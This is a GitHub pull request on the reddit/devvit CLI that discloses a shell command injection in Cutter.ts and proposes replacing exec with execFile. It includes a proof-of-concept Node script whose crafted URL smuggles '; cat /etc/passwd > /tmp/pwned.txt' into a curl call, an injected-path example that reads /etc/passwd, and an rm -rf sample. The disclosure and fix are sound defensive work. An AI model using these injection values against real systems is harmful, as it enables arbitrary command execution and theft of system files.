devvit icon indicating copy to clipboard operation
devvit copied to clipboard

fix Shell command built from environment values Code Injection on Cutter()

Open odaysec opened this issue 8 months ago • 0 comments

https://github.com/reddit/devvit/blob/c4195e11f81f291c182e9408d75be9f7b1a3e601/packages/cli/src/util/Cutter.ts#L38-L38

fix the issue the shell command should avoid dynamic string construction and instead use a safer method to execute the script. The child_process.execFile method is a better alternative because it allows passing arguments as an array, avoiding shell interpretation of the command string. This ensures that special characters in the file path do not alter the behavior of the command.

The fix involves:

  1. Replacing the use of exec with execFile to execute the init.sh script.
  2. Passing the script path (cmd) as an argument to execFile instead of embedding it in a shell command string.

Dynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.

The following shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.

var cp = require("child_process"),
  path = require("path");
function cleanupTemp() {
  let cmd = "rm -rf " + path.join(__dirname, "temp");
  cp.execSync(cmd); // BAD
}
const cp = require("child_process");
const path = require("path");

// Simulasi dari nilai dtsUri yang datang dari sumber tidak tepercaya (misalnya environment variable, input user, dsb)
const maliciousUrl = "http://<redacted-ip>/file --output /tmp/fake.js; cat /etc/passwd > /tmp/pwned.txt #";
const outPath = "/tmp/output.d.ts";

function vulnerableDownload() {
  // ⚠️ VULNERABLE: Shell command constructed as a single string
  const cmd = `curl -o ${outPath} ${maliciousUrl}`;
  console.log("[*] Executing:", cmd);
  cp.execSync(cmd); // Exploitable
}

vulnerableDownload();

The shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path. For instance, if the absolute path of the temporary directory is /home/reddit/important project/temp, then the shell command will recursively delete /home/reddit/important and project/temp, where the latter path gets resolved relative to the working directory of the JavaScript process.

Even worse, although less likely, a malicious user could provide the path /home/reddit/; cat /etc/passwd #/important project/temp in order to execute the command cat /etc/passwd. To avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:

var cp = require("child_process"),
  path = require("path");
function cleanupTemp() {
  let cmd = "rm",
    args = ["-rf", path.join(__dirname, "temp")];
  cp.execFileSync(cmd, args); // GOOD
}

References

Command Injection CWE-78 CWE-88

📜 Details

Design Doc

Jira

🧪 Testing Steps / Validation

✅ Checks

  • [x] CI tests (if present) are passing
  • [x] Adheres to code style for repo
  • [x] Contributor License Agreement (CLA) completed if not a Reddit employee

odaysec avatar Apr 22 '25 18:04 odaysec